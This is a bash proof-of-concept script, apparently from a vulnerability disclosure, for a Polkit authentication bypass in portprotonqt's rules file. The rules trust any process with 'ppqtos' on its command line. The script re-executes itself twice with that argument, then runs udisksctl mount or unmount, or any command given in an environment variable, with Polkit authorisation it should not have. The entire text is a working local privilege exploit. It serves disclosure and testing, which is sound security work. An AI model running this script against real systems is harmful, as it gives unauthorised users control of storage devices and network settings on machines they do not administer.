#!/bin/bash

# author: Matthias Gerstner matthias.gerstner@suse.com
# date: 2026-07-20
# CVE-2026-59678
#
# This script demonstrates a udisks Polkit authentication bypass when
# portprotonqt is installed shipping ru.linux_gaming.PortProtonQt.rules. The
# rules allow any processes having "ppqtos" in its command line to perform
# udisks and network manager Polkit actions.
#
# The process asking for the authentication must have "ppqtos" in its command
# line as well as its parent process. So we're simply calling ourselves
# passing the proper argument.
#
# You can specify a command to execute in the `UDISKS_CMD` environment
# variable e.g. `udisksctl mount -b /dev/block-device`.

usage() {
	echo "$0 [mount BLOCK_DEV|unmount BLOCK_DEV]" 1>&2
	echo "  pass UDISKS_CMD to specify a custom command to execute" 1>&2
}

if [ -z "$EXEC_LEVEL" ]; then
	if [ -n "$UDISKS_CMD" ]; then
		# use custom command
		true
	elif [ $# -ne 2 ]; then
		usage
		exit 1
	elif [ $1 = "mount" ]; then
		# pass on the command line to execute in the second level
		# child process via this env variable
		export UDISKS_CMD="udisksctl mount -b $2"
	elif [ $1 = "unmount" ]; then
		export UDISKS_CMD="udisksctl unmount -b $2"
	else
		usage
		exit 1
	fi

	EXEC_LEVEL=0
fi

if [ "$EXEC_LEVEL" -lt 2 ]; then
	# re-execute ourselves, we need two processes parent and child having
	# "ppqtos" in its command line
	export EXEC_LEVEL=$(($EXEC_LEVEL + 1))
	$0 ppqtos
	exit $?
fi

echo "Running $UDISKS_CMD"
$UDISKS_CMD
exit $?
